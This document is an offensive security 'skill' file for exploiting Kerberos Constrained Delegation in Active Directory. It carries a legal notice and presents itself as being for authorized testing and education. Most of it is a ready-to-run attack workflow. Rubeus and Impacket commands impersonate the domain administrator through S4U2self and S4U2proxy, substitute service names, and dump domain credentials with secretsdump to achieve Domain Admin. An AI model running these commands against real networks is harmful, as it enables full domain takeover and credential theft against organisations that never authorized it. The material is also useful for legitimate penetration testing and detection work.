Imported from mukul975/anthropic-cybersecurity-skills (skills/exploiting-constrained-delegation-abuse/SKILL.md). Install upstream with npx skills add mukul975/anthropic-cybersecurity-skills --skill exploiting-constrained-delegation-abuse. Copyright stays with the author (Apache-2.0).

Exploiting Constrained Delegation Abuse

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.

When to Use

• When performing authorized security testing that involves exploiting constrained delegation abuse
• When analyzing malware samples or attack artifacts in a controlled environment
• When conducting red team exercises or penetration testing engagements
• When building detection capabilities based on offensive technique understanding

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Enumerate accounts with Constrained Delegation configured in the domain
• Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
• Exploit S4U2self and S4U2proxy to impersonate Domain Admin
• Obtain service tickets for delegated services as a privileged user
• Access delegated services (CIFS, LDAP, HTTP) on target hosts
• Escalate to Domain Admin through Constrained Delegation abuse

MITRE ATT&CK Mapping

• T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
• T1550.003 - Use Alternate Authentication Material: Pass the Ticket
• T1134.001 - Access Token Manipulation: Token Impersonation/Theft
• T1078.002 - Valid Accounts: Domain Accounts
• T1021 - Remote Services

Workflow

Phase 1: Enumerate Constrained Delegation

1. Find accounts with Constrained Delegation using PowerView:

   # Find users with Constrained Delegation
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
   
   # Find computers with Constrained Delegation
   Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
   
   # Using AD Module
   Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl

2. Using Impacket findDelegation.py:

   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1

3. Using BloodHound CE:

   MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
   RETURN c.name, c.allowedtodelegate

4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):

   # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol

Phase 2: Exploit with Rubeus (Windows)

1. If you have the password or hash of the constrained delegation account:

   # Request TGT for the constrained delegation account
   Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
   
   # Perform S4U2self + S4U2proxy to impersonate administrator
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /ptt
   
   # Alternative: specify alternate service name
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt

2. Combined TGT request and S4U in single command:

   Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt

Phase 3: Exploit with Impacket (Linux)

1. Request service ticket via S4U protocol extensions:

   # Using getST.py with S4U
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   
   # Using hash instead of password
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
     -dc-ip 10.10.10.1 domain.local/svc_sql
   
   # Use the obtained ticket
   export KRB5CCNAME=administrator.ccache
   smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local

Phase 4: Alternate Service Name Abuse

1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:

   # Request CIFS ticket, then use it for LDAP (DCSync)
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -altservice LDAP/DC01.domain.local \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

2. This technique works because the service name in the ticket is not cryptographically bound to the session key

Phase 5: Protocol Transition Attack

1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:

   # S4U2self obtains a forwardable ticket without requiring the user to authenticate
   # This means we can impersonate ANY user without their password
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

2. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)

Tools and Resources

Delegation Types Comparison

Detection Signatures

Validation Criteria

• Accounts with Constrained Delegation enumerated
• Delegation targets (msDS-AllowedToDelegateTo) identified
• S4U2self ticket obtained for target user
• S4U2proxy ticket forwarded to delegation target
• Privileged access to delegated service validated
• Alternate service name substitution tested
• Protocol transition capability assessed
• Evidence documented with ticket exports and access proof